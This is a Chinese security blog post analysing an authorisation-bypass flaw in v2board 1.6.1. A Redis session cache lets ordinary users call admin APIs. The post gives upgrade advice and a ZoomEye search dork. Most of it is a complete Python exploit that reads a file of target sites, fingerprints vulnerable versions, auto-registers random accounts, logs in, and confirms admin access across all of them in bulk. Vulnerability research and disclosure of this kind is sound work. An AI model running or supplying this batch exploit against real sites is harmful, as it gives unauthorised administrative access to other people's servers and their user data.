v2board v.1.6.1 越权访问
项目介绍
v2board 是一个开源机场项目,在 GitHub 上有 3.5k 的 star。

ZoomEye 搜索语法:app:”v2board”

漏洞介绍
v2board 在 1.6.1 版本中存在一个越权访问漏洞。由于 v2board 引入了对于用户 Session 的缓存机制,服务器会将用户的认证信息储存在 Redis 缓存中,但是程序在使用 Redis 缓存后没有对普通用户和管理员用户做一个鉴权,以普通用户登陆后可以直接请求管理员的接口。
安全版本
v2board >= 1.7.0
修复建议
厂商已修复该漏洞,建议受影响用户及时升级至 1.7.0 及以上版本。
详细分析
漏洞点在 app/Http/Middleware/Admin.php。

在本处代码判断 Redis 中是否存在 authorization,如果存在就能访问 admin 这个接口,而程序并没有进一步对 authorization 进行判断,检查是否为管理员的 authorization 。在 1.7.0 版本中,本处代码去掉了从缓存中判断的逻辑。

我们知道程序通过 Redis 缓存中的 authorization 进行管理员权限判断,那么如何将 authorization 写入 Redis 呢?
v2board 使用了 Laravel 框架进行开发,我们能从 app/Http/Middleware/user.php 文件找到 /api/v1/user/* 接口对应的用来处理权限的自定义中间件。通过代码我们可以明确的知道,程序会从请求头中获取 authorization 通过鉴权后将数据写入 Redis。所以我们可以通过请求 /api/v1/user/getStat、/api/v1/user/info 之类的接口将 authorization 写入到缓存。(其实其他大部分接口都行)

POC
通过上述分析,我们可以得到一个漏洞验证流程。
- 需要注册一个普通账号。
- 使用普通账号登陆,获取
auth_data。
- 将
auth_data 作为 authorization 请求头的值,去请求 /api/v1/user/* 接口。
- 去访问管理员才能访问的接口,对比响应状态码确定漏洞是否利用成功。
通过对比 1.6.1 版本与 1.7.0 版本,我们可以发现二者在处理鉴权时返回的数据存在相当的不同,我们可以通过该处差异对网站进行第一步的筛选,去除掉不存在漏洞的部分。

同时,v2board 的注册方式也存在一定的限制。部分站点不需要任何验证就能注册,而有些需要邮箱验证,更有甚者需要邀请码验证。所以我们还需要对这一部分进行筛选。

解决上述的问题后,我们就能够写出如下POC代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
| import random import requests import urllib3
headers = { 'authorization': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36', }
proxy = { 'http': 'http://127.0.0.1:10809', 'https': 'http://127.0.0.1:10809' }
def poc(target): """ 检测目标v2board是否为v1.6.1漏洞版本 """ path = '/api/v1/admin/config/fetch' url = f"{target}{path}".replace('//api', '/api') urllib3.disable_warnings() r = requests.get(url, headers=headers, verify=False, proxies=proxy) if r.status_code == 403 and '\\u9274\\u6743\\u5931\\u8d25' in r.text: print(f"[+]{target}存在漏洞!") return True else: print(f"[-]{target}不存在漏洞!") return False
def check_verify(target): """ 判断目标注册是否需要邮箱、邀请验证 """ path = '/api/v1/guest/comm/config' url = f"{target}{path}".replace('//api', '/api') resp = requests.get(url, headers=headers, proxies=proxy).json()['data'] if not resp['is_invite_force'] and not resp['is_email_verify']: print(f"[+]目标无需邮箱验证,可直接获取权限") return True elif resp['is_invite_force']: print(f"[-]目标需要邀请注册,无法获取权限!") return False elif resp['is_email_verify']: print(f"[-]目标需要获取邮箱验证码才能进一步利用!") return False
def registry_acc(target): """ 随机注册账号,并返回auth_data """ rand_num = str(random.random())[8:] QQ_mail = rand_num + '@qq.com' passwd = rand_num
data = { 'email': QQ_mail, 'password': passwd, 'invite_code': '', 'email_code': '' } path = '/api/v1/passport/auth/register' url = f"{target}{path}".replace('//api', '/api')
r = requests.post(url, headers=headers, data=data, proxies=proxy) if r.status_code == 200: print(f"[+]当前随机注册的账号为{QQ_mail},密码为{passwd}") return QQ_mail, passwd else: print(f"[-]目标已关闭账号注册!") return '', ''
def login(target, email, passwd): """ 登录后需要请求 /user/* 将 authorization 写入缓存 """ data = { 'email': email, 'password': passwd } path = '/api/v1/passport/auth/login' url = f"{target}{path}".replace('//api', '/api') r = requests.post(url, headers=headers, data=data, proxies=proxy) if r.status_code == 200: print('[+]账号登录成功!') auth_data = r.json()['data']['auth_data'] headers['authorization'] = auth_data requests.get(f'{target}/api/v1/user/info', headers=headers, proxies=proxy) requests.get(f'{target}/api/v1/user/getStat', headers=headers, proxies=proxy) return auth_data else: print('[-]账号登录失败!') return ''
def dump(target): """ 尝试获取部分接口的信息作为判断漏洞是否利用成功的依据 """ path = '/api/v1/admin/config/fetch' url = str(f'{target}{path}').replace('//api', '/api') urllib3.disable_warnings() resp = requests.get(url, headers=headers, timeout=60, verify=False, proxies=proxy) if resp.status_code == 200: print('[+]抓取成功') return True print('[-]抓取失败') return False
def get_target(filepath): with open(filepath, 'r') as file: return [str(item).strip() for item in file]
def save_data(filepath, data): with open(filepath, 'w') as file: for item in data: file.write(f'{item}\n')
if __name__ == '__main__': filepath = 'data/v2board_all.txt' output_file = 'data/v2board_output.txt' target_list = get_target(filepath=filepath) sample = [] for target in target_list: try: if not poc(target): continue if not check_verify(target): continue email, passwd = registry_acc(target) if not email: continue if login(target=target, email=email, passwd=passwd): if dump(target): sample.append(target) except Exception as msg: print(f'[-]发生错误:{msg}') print(sample) save_data(filepath=output_file, data=sample)
|
一些琐碎
- 蛮简单的一个逻辑漏洞,就是写成 POC 存在一点点难度
- 作为站长,在开放注册功能时应当尽可能的谨慎,应当添加更多的限制机器账号注册
- 生产环境中,返回的数据应当尽量少的暴露程序自身的运行状况